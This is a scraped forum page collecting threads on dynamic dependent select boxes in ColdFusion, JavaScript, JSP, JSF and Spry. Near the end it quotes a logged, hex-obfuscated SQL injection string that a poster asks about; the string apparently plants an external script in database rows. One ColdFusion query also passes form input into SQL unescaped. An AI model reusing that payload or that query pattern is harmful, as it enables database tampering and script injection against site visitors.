Dynamic dual select box
I am sorry that i am asking this question because i have
searched this website and forums to get my answer but my problem
remains unsolved.
The problem is reagrding the dual select boxes which are
dependant uopn one another like:
A1 is dependant on A.
if i select A from query, the second select should get
populated from the query based upon the criteria selected by A.
like i have two fields which are
RESIDENTIAL
COMMERCIAL
these are in the first select box, i am driving their value
from a query as:
<cfquery name="getSubdivision" datasource="#dsn#">
SELECT *
FROM subdivision
</cfquery>
The if i select the value RESIDENTIAL the select select
should automatically be papulated by the value based on the
RESIDENTIAL like MALLS/SHOWROOMS/SHOPS
etc.
my second query is which is getting results from the above
query as are:
<cfquery name="getproperty" datasource="#dsn#">
SELECT *
FROM properties_types
Where sub_id = #getsubdivision.sub_id#
</cfquery>
As the above query is simple, my properties_types table have
structure like this"
id
property_type
sub_id (This will get the value from subdivision's table
sub_id (primary key)) and foreign key in this table.
hope u understand what i am tryin to achieve
when i select A i get all the values in the A1 based on the
query which does not match RESIDENTIAL value also.
i tried the tutes on the website like
tutorial166.easycfm.com but that tutorial just refreshes the
page, i turned around and searched some more but hard to find.
does anyone have any idea how to achieve this simple info as
this is coming headache for me,
thanks
I'm heading out just now, but there are quite a few examples
on google
http://www.google.com/search?q=ColdFusion+related+select+lists
The first few are:
http://tutorial196.easycfm.com/
http://www.adobe.com/cfusion/exchange/index.cfm?event=extensionDetail&loc=en_us&extid=1027 446
http://www.forta.com/blog/index.cfm/2007/5/31/ColdFusion-Ajax-Tutorial-2-Related-Selects
Good luck
HTH
Similar Messages
-
How to Populate values dynamically in Select Box.
Hi All,
I have few select boxes in my webdynpro application. Right now I am populating them using Harcoded values in the Dictionary. But I dont want to harcode the values in the dictionary, i want pull the values from database tables or text files of EP KM. Just let me know which is the better way to populate the select box without hardcoding & why ?
Thanks in Advance.
Regards,
Aditya MetukulHi Aditya,
Getting values from KM and database is possible
It depends on your requirement
ie if the dropdown should contain details of documents from KM or it should display the details in a table
if it is oracle table see this link
Webdynpro and Oracle
if you want to get data from km see this tutorial
https://www.sdn.sap.com/irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs/library/webas/webdynpro/tutorial on using knowledge management functions in web dynpro - 26.htm
Hope this helps you
Regards
Rohit
Regards
Rohit -
I would like to make a select box that has the last 50 years in it. I want it to change with each year instead of me going in and changing it in the code. Would I do this with an array? I think there is an easy way to do this but I can not figure it out.
Thanks for your help<cfoutput>
<cfset theyear = year(now())>
<select name = year>
<cfloop from = "1" to = "50" index = "i">
<option value = "#theyear# />#theyear#
<cfset theyear = theyear - 1>
closing tags -
Move data from a select box to table in database.
Hi,
a. I have one dual selection box and for that the is div id =' id '
b.In dual selection box there is two box ie. one is Available and other is Selected. So a user can select one or all using two button.
c. My requirements is like :
onclick of a radio button all datas from available side will move to database and that dual box will be hidden.Java != Javascript. Please go to some web development board.
-
The problem is that the second select box is not displaying what is the wrong in the code
<html>
<head>
<script>
function setList(theList) {
switch (theList) {
case 1 : {
document.theForm.mySelect.options[0].value="50THD-OZAM";
document.theForm.mySelect.options[1].value="ABABA-BALB";
document.theForm.mySelect.options[2].value="BALAB-KIDA";
document.theForm.mySelect.options[3].value="CALIC-BABA";
document.theForm.mySelect.options[4].value="GUTAO-DINE";
document.theForm.mySelect.options[5].value="";
document.theForm.mySelect.options[6].value="";
document.theForm.mySelect.options[7].value="";
document.theForm.mySelect.options[0].selected=true;
document.theForm.radioButton[0].checked=true;
break;
case 2 : {
document.theForm.mySelect.options[0].value="AGON";
document.theForm.mySelect.options[1].value="AJUY";
document.theForm.mySelect.options[2].value="Abay";
document.theForm.radioButton[1].checked=true;
break;
case 3 : {
document.theForm.mySelect.options[0].value="KAL";
document.theForm.mySelect.options[1].value="ILO ";
document.theForm.mySelect.options[2].value="LEY";
document.theForm.radioButton[2].checked=true;
break;
setOptionText();
function setOptionText() {
document.theForm.mySelect.options[0].text=document.theForm.mySelect.options[0].value;
document.theForm.mySelect.options[1].text=document.theForm.mySelect.options[1].value;
document.theForm.mySelect.options[2].text=document.theForm.mySelect.options[2].value;
var group=new Array(document.theForm.mySelect.options.length)
for (i=0; i<document.theForm.mySelect.options.length; i++)
group=new Array()
group[0][0]=new Option("---Select2---"," ");
group[1][0]=new Option("Now Select This One"," ");
group[1][1]=new Option("C","3");
group[1][2]=new Option("DA","2");
group[1][3]=new Option("DB","1");
group[2][0]=new Option("Now Select This One"," ");
group[2][1]=new Option("A","5");
function redirect(x)
var i=document.theForm.mySelect.options.length
for (m=0;m<i;m++)
for (i=0;i<group[x].length;i++)
document.theForm.stage2.options[i]=new Option(group[x][i].text,group[x][i].value)
</script>
</head>
<body onload="setList(1)">
<form name="theForm" onreset="setList(1)">
BirthPlace is:<br>
<input checked name="radioButton" type="radio" value="Brgy" onclick="setList(1)">Brgy&&
<input name="radioButton" type="radio" value="MuniCity" onclick="setList(2)">Muni/city&&
<input name="radioButton" type="radio" value="Province" onclick="setList(3)">Province<hr>
<select name="mySelect" onChange="redirect(this.options.selectedIndex)">
<option value=""></option>
<option value=""></option>
<option value=""></option>
<option value=""></option>
<option value=""></option>
<option value=""></option>
<option value=""></option>
</select>
<select name="stage2" size="1" >
<option value=" " > </option>
<option value=" " ></option>
<option value=""></option>
<option value=""></option>
<option value=""></option>
<option value=""></option>
<option value=""></option>
</select>
<br><br>
</form>
</body>
</html>hello mate,
you can just use another javascript code for your application since it seems that( as well as i understood ) you couldn't set the array if user make a selection.
A few times ago i had a probelm like that but i used the below code..
Here the DynamicOptionList.js file and source code:
you just call this code from your html page like this :
<SCRIPT LANGUAGE="JavaScript" SRC="DynamicOptionList.js"></SCRIPT>
//STARTS HERE DynamicOptionList.js
// CONSTRUCTOR
// Pass in the name of the element, then the names of the lists it depends on
function DynamicOptionList() {
if (arguments.length < 2) { alert("Not enough arguments in DynamicOptionList()"); }
// Name of the list containing dynamic values
this.target = arguments[0];
// Set the lists that this dynamic list depends on
this.dependencies = new Array();
for (var i=1; i<arguments.length; i++) {
this.dependencies[this.dependencies.length] = arguments;
// The form this list belongs to
this.form = null;
// Place-holder for currently-selected values of dependent select lists
this.dependentValues = new Object();
// Hold default values to be selected for conditions
this.defaultValues = new Object();
// Storage for the dynamic values
this.options = new Object();
// Delimiter between dependent values
this.delimiter = "|";
// Logest string currently a potential options (for Netscape)
this.longestString = "";
// The total number of options that might be displayed, to build dummy options (for Netscape)
this.numberOfOptions = 0;
// Method mappings
this.addOptions = DynamicOptionList_addOptions;
this.populate = DynamicOptionList_populate;
this.setDelimiter = DynamicOptionList_setDelimiter;
this.setDefaultOption = DynamicOptionList_setDefaultOption;
this.printOptions = DynamicOptionList_printOptions;
this.init = DynamicOptionList_init;
// Set the delimiter to something other than | when defining condition values
function DynamicOptionList_setDelimiter(val) {
this.delimiter = val;
// Set the default option to be selected when the list is painted
function DynamicOptionList_setDefaultOption(condition, val) {
if (typeof this.defaultValues[condition] == "undefined" || this.defaultValues[condition]==null) {
this.defaultValues[condition] = new Object();
for (var i=1; i<arguments.length; i++) {
this.defaultValues[condition][arguments[i]]=1;
// Init call to map the form to the object and populate it
function DynamicOptionList_init(theform) {
this.form = theform;
this.populate();
// Add options to the list.
// Pass the condition string, then the list of text/value pairs that populate the list
function DynamicOptionList_addOptions(dependentValue) {
if (typeof this.options[dependentValue] != "object") { this.options[dependentValue] = new Array(); }
for (var i=1; i<arguments.length; i+=2) {
// Keep track of the longest potential string, to draw the option list
if (arguments[i].length > this.longestString.length) {
this.longestString = arguments[i];
this.numberOfOptions++;
this.options[dependentValue][this.options[dependentValue].length] = arguments[i];
this.options[dependentValue][this.options[dependentValue].length] = arguments[i+1];
// Print dummy options so Netscape behaves nicely
function DynamicOptionList_printOptions() {
// Only need to write out "dummy" options for Netscape
if ((navigator.appName == 'Netscape') && (parseInt(navigator.appVersion) <= 4)){
var ret = "";
for (var i=0; i<this.numberOfOptions; i++) {
ret += "<OPTION>";
ret += "<OPTION>"
for (var i=0; i<this.longestString.length; i++) {
ret += "_";
document.writeln(ret);
// Populate the list
function DynamicOptionList_populate() {
var theform = this.form;
var i,j,obj,obj2;
// Get the current value(s) of all select lists this list depends on
this.dependentValues = new Object;
var dependentValuesInitialized = false;
for (i=0; i<this.dependencies.length;i++) {
var sel = theform[this.dependencies[i]];
var selName = sel.name;
// If this is the first dependent list, just fill in the dependentValues
if (!dependentValuesInitialized) {
dependentValuesInitialized = true;
for (j=0; j<sel.options.length; j++) {
if (sel.options[j].selected) {
this.dependentValues[sel.options[j].value] = true;
// Otherwise, add new options for every existing option
else {
var tmpList = new Object();
var newList = new Object();
for (j=0; j<sel.options.length; j++) {
if (sel.options[j].selected) {
tmpList[sel.options[j].value] = true;
for (obj in this.dependentValues) {
for (obj2 in tmpList) {
newList[obj + this.delimiter + obj2] = true;
this.dependentValues = newList;
var targetSel = theform[this.target];
// Store the currently-selected values of the target list to maintain them (in case of multiple select lists)
var targetSelected = new Object();
for (i=0; i<targetSel.options.length; i++) {
if (targetSel.options[i].selected) {
targetSelected[targetSel.options[i].value] = true;
targetSel.options.length = 0; // Clear all target options
for (i in this.dependentValues) {
if (typeof this.options[i] == "object") {
var o = this.options[i];
for (j=0; j<o.length; j+=2) {
var text = o[j];
var val = o[j+1];
targetSel.options[targetSel.options.length] = new Option(text, val, false, false);
if (typeof this.defaultValues[i] != "undefined" && this.defaultValues[i]!=null) {
for (def in this.defaultValues[i]) {
if (def == val) {
targetSelected[val] = true;
targetSel.selectedIndex=-1;
// Select the options that were selected before
for (i=0; i<targetSel.options.length; i++) {
if (targetSelected[targetSel.options[i].value] != null && targetSelected[targetSel.options[i].value]==true) {
targetSel.options[i].selected = true;
//********** ENDS HERE
now the html page and how the trick is going :
<HTML>
<HEAD>
<META CONTENT="text/html; charset=windows-1254" HTTP-EQUIV="Content-Type">
<META CONTENT="text/html; charset=iso-8859-9" HTTP-EQUIV="Content-Type">
<TITLE>JavaScript Toolbox - Dynamic Option List</TITLE>
<SCRIPT LANGUAGE="JavaScript" SRC="C:\WINNT\Profiles\calisirmu\Desktop\javaScripts\DynamicOptionList.js"></SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
// First example
var listB = new DynamicOptionList("B","A");
//first initialize parameters
listB.addOptions("CARs",
"BMW","BMW",
"PEUGEOT","PEUGEOT",
"PORSCHE","PORSCHE",
"TOYOTA","TOYOTA");
listB.addOptions("MOTORCYCLEs",
"HONDA","HONDA",
"KAWASAKI","KAWASAKI");
listB.addOptions("FORMULA CARS",
"FERRARI","FERRARI",
"MERCEDES","MERCEDES",
"JAGUAR","JAGUAR");
//set default options
listB.setDefaultOption("CARs","PORSCHE");
listB.setDefaultOption("MOTORCYCLEs","HONDA");
listB.setDefaultOption("FORMULA CARS","FERRARI");
var listC = new DynamicOptionList("C","A","B");
listC.addOptions("CARs|PORSCHE","911 TURBO GT2","911 TURBO GT2",
"MOBY DICK","MOBY DICK",
"GT1 RACE VERSION","GT1 RACE VERSION");
listC.setDefaultOption("CARs|PORSCHE","911 TURBO GT2");
listC.addOptions("CARs|BMV","750 IL","750 IL");
listC.addOptions("CARs|PEUGEOT","406","406");
listC.addOptions("CARs|TOYOTA","AVENSIS","AVENSIS");
listC.addOptions("MOTORCYCLEs|HONDA","SUPER 5000","SUPER 5000");
listC.setDefaultOption("MOTORCYCLEs|HONDA","SUPER 5000");
listC.addOptions("MOTORCYCLEs|KAWASAKI","SUPER KACAR","SUPER KACAR");
listC.addOptions("MOTORCYCLEs|KAWASAKI","YAVAS GIDER","YAVAS GIDER");
listC.addOptions("MOTORCYCLEs|KAWASAKI","ANCA GIDER","ANCA GIDER");
listC.addOptions("FORMULA CARS|FERRARI","F1 2000","F1 2000");
listC.setDefaultOption("FORMULA CARS|FERRARI","F1 2000");
listC.addOptions("FORMULA CARS|MERCEDES","CLK","CLK");
listC.addOptions("FORMULA CARS|JAGUAR","SALLA GITSIN","SALLA GITSIN");
function init() {
var theform = document.forms[0];
listB.init(theform);
listC.init(theform);
listE.init(theform);
listF.init(theform);
</SCRIPT>
</HEAD>
<BODY BGCOLOR=#FFFFFF LINK="#00615F" VLINK="#00615F" ALINK="#00615F" onLoad="init()">
<BR><BR>
<BR>
<FORM ACTION="" METHOD="" name="Form1">
<BR>
<TABLE BORDER="0">
<TR bgcolor="#ffffe6">
<TH >TYPE</TH>
<TH>NAME</TH>
<TH>MODEL</TH>
</TR>
<TR>
<TD>
<SELECT NAME="A" onChange="listB.populate();listC.populate();">
<OPTION VALUE="CARs">CARs
<OPTION VALUE="MOTORCYCLEs">MOTORCYCLEs
<OPTION VALUE="FORMULA CARS">FORMULA CARS
</SELECT>
</TD>
<TD>
<SELECT NAME="B" onChange="listC.populate();">
<SCRIPT LANGUAGE="JavaScript">listB.printOptions()</SCRIPT>
</SELECT>
</TD>
<TD>
<SELECT NAME="C">
<SCRIPT LANGUAGE="JavaScript">listC.printOptions()</SCRIPT>
</SELECT>
</TD>
</TR>
</TABLE>
</FORM>
</BODY>
</HTML>
you save this html page as xxx.html and thane run it.
I hope this is beneficial for you.
mcaldeveloper :-) -
Can we create dynamic select boxes which will change when the user selection changes. How many levels we can go about.
For example
we have one combo box named states--> depending upon the states selected the corresponding districts should be shown in the other combo box, and when the user selects a district it should show the corresponding villages or towns and further..
Can we do it without ajax concept. if yes how?
If we have to use ajax one level is easy how to go about two or three levels.
Thanks in advance.Hi !
ya it is possible to change values of Combobox depending on the value changed in another combobox.
it is possible when you implement Model and by reference of that
model you can change values of that combobox such as.
model1.removeAllItems();
model1.addItemAt(location); etc
inspite of this if you need code help i will provide it to you. -
Dynamic populating the items in the select boxes
Hi,
I need three select boxes on a webpage in such a way that the options in select box 2 should be populated only after selecting some item in "select box 1" and the options in the "select box 3" should be displayed by selecting the options in "the select box2". The data is being retrived from the database. I know that this functionality can be acheived through the "javascript". I am fine until getting the data from the database but not sure how to get it work using javascript.
I would appreciate if someone can post any snippet of code or give any suggesstions or pointer on how to proceed....
-coolersprobably should ask on a javascript forum then. This is for java.
-
Add form fields dynamically onchange of a select box.
I have a JSP page with a <h:form>:
<h:form id="registrationForm">
<h:outputText value="#{Resource.EmailAddress}" /><br />
<h:inputText label="E-mail Address" id="emailAddress" value="#{RegistrationBean.emailAddress}" required="true" requiredMessage="#{Resource.RequiredError}">
<f:validator validatorId="EmailValidator" />
</h:inputText><br />
<h:message for="emailAddress" styleClass="error" /></td>
Select age range<br />
<h:selectOneMenu id="ageRange" value="#{RegistrationBean.ageRange}" valueChangeListener="#{RegistrationBean.updateComponents}" onchange="javascript: return submit()">
<f:selectItems value="#{RegistrationBean.ageRangeValues}" />
</h:selectOneMenu><br />
<h:commandButton id="submit" value="#{Resource.Submit}" />
</h:form>When the user changes the value for the ageRange select box, the form gets submitted through the following JavaScript:
function submit() {
document.forms[0].submit();
return true;
}Then the ValueChangeListener defined in a backing bean for the ageRange select box gets called:
public void updateComponents(ValueChangeEvent e) {
// Generate components automatically
}What I want is, when the user changes the value of the ageRange select box, the valueChangeListener should generate a few new text fields in the form and the validator for the e-mail address field shouldn't get called. The validator for the email-address field should only get called once the user clicks on the Submit button.
Any help or pointers will be greatly appreciated.You can find here lot of pointers: http://balusc.blogspot.com/2007/10/populate-child-menus.html
-
3 select Box and 2 dynamic one
Hi guys,
I have 3 select box.
First one will change the second one values, and second one will change third one values
So Im doing this :
<h:selectOneMenu style="width:320px;" value="#{class.info1}"
valueChangeListener="#{class.changeInfo2}"
id="info1Id"
onchange="enableDisableElements(\'#{rich:clientId('info2Id')}\')">
<f:selectItem itemLabel="#{messages.IRS_PageBlock1Select1}" itemValue="-1"/>
<f:selectItems value="#{class.getListInfo1()}"/>
<a:support event="onchange" reRender="#{rich:clientId('info2Id')}"/>
</h:selectOneMenu>
<h:selectOneMenu style="width:320px;" value="#{class.info2}"
id="info2Id" required="true" styleClass="disabledTrigger"
valueChangeListener="#{class.changeInfo3}"
onchange="enableDisableElements(\'#{rich:clientId('info3Id')}\')">
<f:selectItem itemLabel="#{messages.IRS_PageBlock1Select2}" itemValue="-1"/>
<f:selectItems value="#{info2List}"/>
<a:support event="onchange" reRender="#{rich:clientId('info3Id')}"/>
</h:selectOneMenu>
<h:selectOneMenu style="width:320px;" value="#{class.info3}"
id="info3Id" required="true" styleClass="disabledTrigger">
<f:selectItem itemLabel="#{messages.IRS_PageBlock1Select3}" itemValue="-1"/>
<f:selectItems value="#{info3List}"/>
</h:selectOneMenu>in Java :
public void changeInfo2(ValueChangeEvent e) {
newinfo2Id = (Long) e.getNewValue();
callMethodToUpdateInfo2List();
public void changeInfo3(ValueChangeEvent e) {
newinfo3Id = (Long) e.getNewValue();
callMethodToUpdateInfo3List();
}callMethodToUpdateInfo2List and callMethodToUpdateInfo3List are methods returning List<SelectItem>
So when I arrive on my page, select first drop down, second drop down is well updated, but then if I try to change some values in this one I get :
Caused by java.util.NoSuchElementException with message: ""
javax.faces.component.SelectItemsIterator.next(SelectItemsIterator.java:117)
javax.faces.component.SelectItemsIterator.next(SelectItemsIterator.java:144)
javax.faces.component.SelectItemsIterator.next(SelectItemsIterator.java:49)
javax.faces.component.UISelectOne.matchValue(UISelectOne.java:164)
javax.faces.component.UISelectOne.validateValue(UISelectOne.java:137)
javax.faces.component.UIInput.validate(UIInput.java:867)
javax.faces.component.UIInput.executeValidate(UIInput.java:1065)
javax.faces.component.UIInput.processValidators(UIInput.java:666)
javax.faces.component.UIForm.processValidators(UIForm.java:229)Is it because the render of the component is bad updated ?? or something like that ?
Thx guys
Edited by: xtof83 on Jun 12, 2008 8:03 AMYou may find this article useful: [http://balusc.blogspot.com/2007/10/populate-child-menus.html].
-
How do I enable multiple dynamic drop down boxes?
I'm using Windows 2000, Java SDK 2 Standard, Tomcat, Apache, Microsoft Access and Macromedia Dreamweaver Ultradev 4.
With UltraDev I'm trying to create a jsp page that has more than one dynamic drop down box or more than one dynamic select list box. I can show one dynamic object and as many static objects as I need. But when I add a second dynamic drop down box, with a second recordset, the page will only display the first dynamic object and all content following that object will not display.Here's the code:
<%@page contentType="text/html; charset=iso-8859-1" language="java" import="java.sql.*"%>
<%@ include file="Connections/conn.jsp" %>
<%
Driver DriverRecordset1 = (Driver)Class.forName(MM_conn_DRIVER).newInstance();
Connection ConnRecordset1 = DriverManager.getConnection(MM_conn_STRING,MM_conn_USERNAME,MM_conn_PASSWORD);
PreparedStatement StatementRecordset1 = ConnRecordset1.prepareStatement("SELECT STATE_NAME, COUNTRY FROM STATE");
ResultSet Recordset1 = StatementRecordset1.executeQuery();
boolean Recordset1_isEmpty = !Recordset1.next();
boolean Recordset1_hasData = !Recordset1_isEmpty;
Object Recordset1_data;
int Recordset1_numRows = 0;
%>
<%
Driver DriverRecordset2 = (Driver)Class.forName(MM_conn_DRIVER).newInstance();
Connection ConnRecordset2 = DriverManager.getConnection(MM_conn_STRING,MM_conn_USERNAME,MM_conn_PASSWORD);
PreparedStatement StatementRecordset2 = ConnRecordset2.prepareStatement("SELECT FIRSTNAME, LASTNAME, AGE FROM PLAYER");
ResultSet Recordset2 = StatementRecordset2.executeQuery();
boolean Recordset2_isEmpty = !Recordset2.next();
boolean Recordset2_hasData = !Recordset2_isEmpty;
Object Recordset2_data;
int Recordset2_numRows = 0;
%>
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<form name="form1" method="post" action="">
<p>
<select name="select2">
<option value="Canada">Canada</font></option>
<option value="France">France</font></option>
<option value="French Guiana">French Guiana</font></option>
<option value="French Polynesia">French Polynesia</font></option>
<option value="French Southern Territories">French Southern Territories</font></option>
<option value="Germany">Germany</font></option>
<option value="United Kingdom">United Kingdom</font></option>
<option value="United States">United States</font></option>
</select>
</p>
<p>
<select name="select">
<%
while (Recordset1_hasData) {
%>
<option value="<%=(((Recordset1_data = Recordset1.getObject("COUNTRY"))==null || Recordset1.wasNull())?"":Recordset1_data)%>" ><%=(((Recordset1_data =
Recordset1.getObject("STATE_NAME"))==null || Recordset1.wasNull())?"":Recordset1_data)%></option>
<%
Recordset1_hasData = Recordset1.next();
Recordset1.close();
Recordset1 = StatementRecordset1.executeQuery();
Recordset1_hasData = Recordset1.next();
Recordset1_isEmpty = !Recordset1_hasData;
%>
</select>
</p>
<p>
//Here's where things go awry
<select name="select4">
<%
while (Recordset2_hasData) {
%>
<option value="<%=(((Recordset2_data = Recordset2.getObject("FIRSTNAME"))==null || Recordset2.wasNull())?"":Recordset2_data)%>" ><%=(((Recordset2_data = Recordset2.getObject("FIRSTNAME"))==null || Recordset2.wasNull())?"":Recordset2_data)%></option>
<%
Recordset2_hasData = Recordset2.next();
Recordset2.close();
Recordset2 = StatementRecordset2.executeQuery();
Recordset2_hasData = Recordset2.next();
Recordset2_isEmpty = !Recordset2_hasData;
%>
</select>
</p>
<p>
<select name="select5">
</select>
</p>
<p> </p>
</form>
<form name="form2" method="post" action="">
<select name="select3">
</select>
</form>
<p> </p>
</body>
</html>
<%
Recordset1.close();
ConnRecordset1.close();
%>
<%
Recordset2.close();
ConnRecordset2.close();
%> -
I was wondering how to update a select box with data relevant
to a selection made on a suggest box, something similar to
this,
but with a spry suggest box instead of the first select box on the
example.
I tried the example (two select boxes using two binded data
sets) with my db and it works; when I select something on the first
select box, the second one changes dynamically according to the
selection made.
I have defined two datasets:
var ds1 = new
Spry.Data.XMLDataSet("API/make_entry_list_xml.php","viperdb/entry",{sortOnLoad:"pdb_id",s ortOrderOnLoad:"ascending"});
var ds2 = new
Spry.Data.XMLDataSet("API/get_chains_for_entry_id.php?VDB={ds1::pdb_id}","viperdb/entry/c hain_id");
and defined the suggest and select boxes as:
<div id="suggest_1">
<input type='text' id='vdb1'>
<div id="resultsDIV_1" spry:region="ds1">
<div spry:repeat="ds1" spry:suggest="{pdb_id}"
onClick="ds1.setCurrentRowNumber(this.selectedIndex);"
onchange="ds1.setCurrentRowNumber(this.selectedIndex);">
<div class="suggest_list">{pdb_id}</div>
</div>
</div>
<span spry:region="ds2" id="subdirSelector">
<select spry:repeatchildren="ds2" name="subdirSelect">
<option value="{chain_id}">{chain_id}</option>
</select>
</span>
</div>
Neither onclick nor onchange functions seem to work; on load
the second select does fill up with ds2 data (acording to the first
element of ds1), but when using the suggest box to select something
different, the selectbox doesn't change accordingly, keeping always
the same data.
Am I using the setCurrentRowNumber in the wrong dataset or
tag?I would say if you were to do somthing like this
var ds1 = new
Spry.Data.XMLDataSet("API/make_entry_list_xml.php","viperdb/entry",{sortOnLoad:"pdb_id",s ortOrderOnLoad:"ascending",useCache:false});
see I added the useCache:false
This will stop the browser from cacheing your xml, thenjust
add an onclick to some function like say
update();
then have update do this
function update()
ds1.loadData();
That should cause the browser to update the data set and
update your elements now the only downside is IE has a bug well
more like IE being the bug but anyhow you may have to add things to
your code to get it to work right in IE, I added in some random
number script in my JS so that it will append on the end of my DS
each time so IE thinks its a new XML doc. Hope this helps. -
Select boxes dependent on each other?
Hi is there a way to use selectboxes / textfileds that depend on each other.
select box 1. reads from database names
select box 2. this one is filled when a chiose from box 1 is selected.
(after a database question based on the result in box 1)
inupttextfields 1 and 2 are filled after a new database request based on the choise in select box 2.
pleased with different kind of answers. without javascripts adn also with use of
javascripts. (Im not so used with javascripts)
Plese give me a simple example and not just a link.
thanks.Plese give me a simple example and not just a link.There is no simple example, because this is highly specific on your webpage implementation and database. search google for "javascript dynamic select box", or "javascript dynamic option lists". That should give you some examples.
-
I have a drop-down box that I am using to control the sorting
of my dataset. The drop-down box is located in a spry region
because I want to display different sorting choices depending on a
javascript variable. I have it scripted so that the dataset.sort()
function is called by the drop-down box's onChange handler. It
works great for the sorting - the only problem is that the
drop-down box always reverts back to the first <option> as
soon as the sort() method is called and I would prefer to have it
remain on the last selected index. I know I could probably rig
something complicated in JavaScript involving observer objects and
dynamically building the select options, but before I went down
that road, I was wondering if anyone knew how to get the
<select> box from reverting first?
I attached a quick sample of what I'm talking about below:
<td spry:region="dsPlans" class="SpryHiddenRegion">
<span spry:choose="spry:choose">
<!--- When selected, this select box always resets to
whatever the first option is --->
<select name="sSortBy" spry:when="var1 == 'value1'"
onChange="dsPlans.sort(this.value,'toggle');">
<option value="Field1">Field1</option>
<option value="Field2">Field2</option>
<option value="Field3">Field3</option>
</select>
<select name="sSortBy" spry:when="var1 == 'value2'"
onChange="dsPlans.sort(this.value,'toggle');">
<option value="Field4">Field4</option>
<option value="Field5">Field5</option>
<option value="Field6">Field6</option>
</select>
<select name="sSortBy" spry:default="spry:default"
onChange="dsPlans.sort(this.value,'toggle');">
<option value="Field7">Field7</option>
<option value="Field8">Field8</option>
<option value="Field9">Field9</option>
</select>
</span>
</td>
Any help is greatly appreciated! Thanks!Hi Michael,
The cleanest way is to use observers as you suggest.
onPreUpdate, store the selected index of the select, and then
onPostUpdate, restore it. Something like:
var savedIndex = 0;
dsPlans.addObserver(function(noticationType, notifier, data)
if (notificationType == "onPreUpdate" &&
document.forms[ 0 ] && document.forms[ 0 ].sSortBy)
savedIndex = document.forms[0].sSortBy.selectedIndex;
else if (notificationType == "onPostUpdate")
document.forms[ 0 ].sSortBy.selectedIndex = savedIndex;
You'd probably also want some logic that resets this
savedIndex whenever your var1 changes too.
--== Kin ==-- -
Pre-populate select box causing query error
Referring to this thread
http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:56335#305025
I wanted to pass a value to a dynamic select box (in a url),
so I changed this:
<option value="'#SITEID#'" selected=#sid#>
to this:
<option value="#SITEID#"<cfif SITEID EQ sid>
selected="selected"</cfif>>
and now get "Error Executing Database Query...... Too few
parameters. Expected 1."
The query:
SELECT <CFLOOP list="#form.parameters#"
index="i">sitedata.#i#,</CFLOOP>
site.coordinates_n, site.coordinates_w,
sitedata.monitordate, site.name,
site.siteid
FROM site INNER JOIN sitedata
ON site.siteid = sitedata.siteid
WHERE sitedata.SITEID IS NOT NULL
<CFIF form.siteid gt "">AND sitedata.SITEID in
(#PreserveSingleQuotes(form.siteid)#)</CFIF>
<CFIF startdate gt "" AND enddate gt "">AND
sitedata.monitordate >=
#startdate# and sitedata.monitordate <=
#enddate#</CFIF>
<CFIF startdate gt "" AND enddate is "">AND
sitedata.monitordate >=
#startdate#</CFIF>
ORDER BY sitedata.monitordate, sitedata.siteid
I admit I'm not a CF or SQL expert! I'm guessing it has
something to do
with the cfloop. Hoping this is something simple I've
overlooked...
TIACFQUERYPARAM caught the following attempt at SQL Injection.
Would someone please explain what they were trying to do?
best, paul
On Tue, Jul 22, 2008 at 7:17 AM, <[email protected]>
wrote:
> cgi.content_length
> cgi.http_accept*/*
> cgi.http_referer
> cgi.http_user_agentMozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1)
> cgi.path_info/index.cfm
>
cgi.path_translatedD:\sites\www.lazydazers.com\html\index.cfm
>
cgi.query_stringfa=ShowItem&ID=2168;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415 245204054207661726368617228323535292C40432076617263686172283430303029204445434C41524520546 1626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D6520667 26F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69642 0616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D333 5206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437 572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404 3205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205 B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736 372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3 C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637 2697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C2 12D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4 04320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757 2736F72%20AS%20CHAR(4000));EXEC(@S);
> cgi.remote_addr220.191.251.211
> cgi.remote_host220.191.251.211
> cgi.remote_ident
> cgi.remote_user
> cgi.server_port80
> cfcatch.detail
> cfcatch.messageInvalid data 2168;DECLARE @S
CHAR(4000);SET
>
@S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343030302 9204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616 D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726 520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7 220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F5 0454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7 220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786 5632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223 E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A732 23E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3 C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223 E3C2...
> for CFSQLTYPE CF_SQL_INTEGER.
> cfcatch.typeDatabase
> server.coldfusion.productnameColdFusion Server
> server.coldfusion.productversion7,0,2,142559
> server.os.nameWindows 2003
> server.os.version5.2
> server.os.buildnumber -
Pre-selecting from Spry Data Select Box
Hi
I am new here so sorry if this is in the wrong section/format
